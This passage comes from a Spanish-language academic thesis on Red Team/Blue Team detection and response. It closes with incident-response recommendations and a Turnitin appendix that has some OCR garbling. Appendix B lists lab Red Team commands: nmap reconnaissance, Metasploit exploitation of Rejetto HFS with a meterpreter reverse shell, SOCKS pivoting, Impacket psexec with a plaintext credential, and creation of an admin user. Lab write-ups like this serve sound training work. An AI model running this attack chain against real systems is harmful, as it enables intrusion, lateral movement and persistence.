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del SIEM, segun las guias técnicas de deteccion descritas por Scarfone, K., & Mell, P. (2007).
Finalmente, se recomienda formalizar un procedimiento de respuesta a incidentes que incorpore
los tiempos de reaccion, responsables y protocolos de aislamiento, en concordancia con las fases
operativas planteadas por el NIST para el manejo de incidentes (National Institute of Standards
and Technology, 2012), y capacitar al personal en el reconocimiento temprano de indicadores de

compromiso observados en este escenario
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Apéndices
Apéndice A
Figura 31
Resultado de revisién en Turnitin
© B eviumitincom/app/carta/es/tro- 103802597 2465745 ang=esfu=1 160054131 &student_user=1 M % L 08 =

VANESSA CAROLINA ZAMUDIO POSADA  Etapas

1

Ranacidades veentens.

icas ¥ de Respuesta para Equipos Red ‘Team ¥ Blue Team

Vanessa Carolins Zumudio Posada

Nota. La imagen corresponde al reporte de similitud generado por Turnitin para verificar la
originalidad del trabajo. El porcentaje obtenido fue 11, que se encuentra dentro de los pardmetros
permitidos por la institucion.
Apéndice B
Comandos utilizados en el escenario Red Team.

Este apéndice compila los comandos ejecutados durante las fases de reconocimiento,
explotacidn, pivoting y post-explotacion en el laboratorio correspondiente al Escenario 3 —
Equipo Red Team. La informacidn presentada respalda técnicamente el proceso metodologico

documentado en el cuerpo del informe principal.



B.1 Reconocimiento de red
A.1.1 Verificacion de conectividad desde la maquina atacante (Parrot OS)
ping 192.168.100.20
ping 192.168.101.13
A.1.2 Identificacion de interfaces de red
Linux (Parrot OS)
ifconfig
Windows (Host-A, Host-B, Rejetto)
ipconfig /all
A.1.3 Deteccidn del servicio vulnerable (Rejetto HFS 2.3)
nmap -sV -p 80 192.168.100.20

B.2 Explotacion del servidor Rejetto HFS
A.2.1 Inicio de Metasploit Framework
sudo msfconsole
A.2.2 Busqueda del exploit
search hfs
A.2.3 Seleccion del modulo vulnerable
use exploit/windows/http/rejetto_hfs_exec
A.2.4 Configuracion del exploit
set RHOSTS 192.168.100.20
set LHOST 192.168.100.10
set LPORT 4444

set PAYLOAD windows/meterpreter/reverse_tcp
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A.2.5 Ejecucidn del exploit
run
Resultado esperado:
Apertura de una sesion Meterpreter:
Meterpreter session 1 opened
B.3 Pivoting y movimiento lateral
A.3.1 Enviar la sesion a segundo plano
background
A.3.2 Configuracion de autoroute para pivoting
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 192.168.101.0
set NETMASK 255.255.255.0
run
A.3.3 Habilitar servidor SOCKS
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 4a
run
A.3.4 Configuracion de Proxychains
sudo nano /etc/proxychains.conf

# Linea afadida:
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socks4 127.0.0.1 1080
A.3.5 Acceso remoto a Host-B mediante Impacket
proxychains python ~/impacket-venv/bin/psexec.py
administrador:Colombial23@192.168.101.13
Resultado:
cmd
C:\Windows\System32>

B.4 Comandos para la prueba de concepto (PoC)
A.4.1 Creacion de usuario efimero
net user vanessazamudio Colombial23 /add
A.4.2 Asignacion de privilegios administrativos
net localgroup Administradores vanessazamudio /add
A.4.3 Eliminacion del usuario efimero

net user vanessazamudio /del
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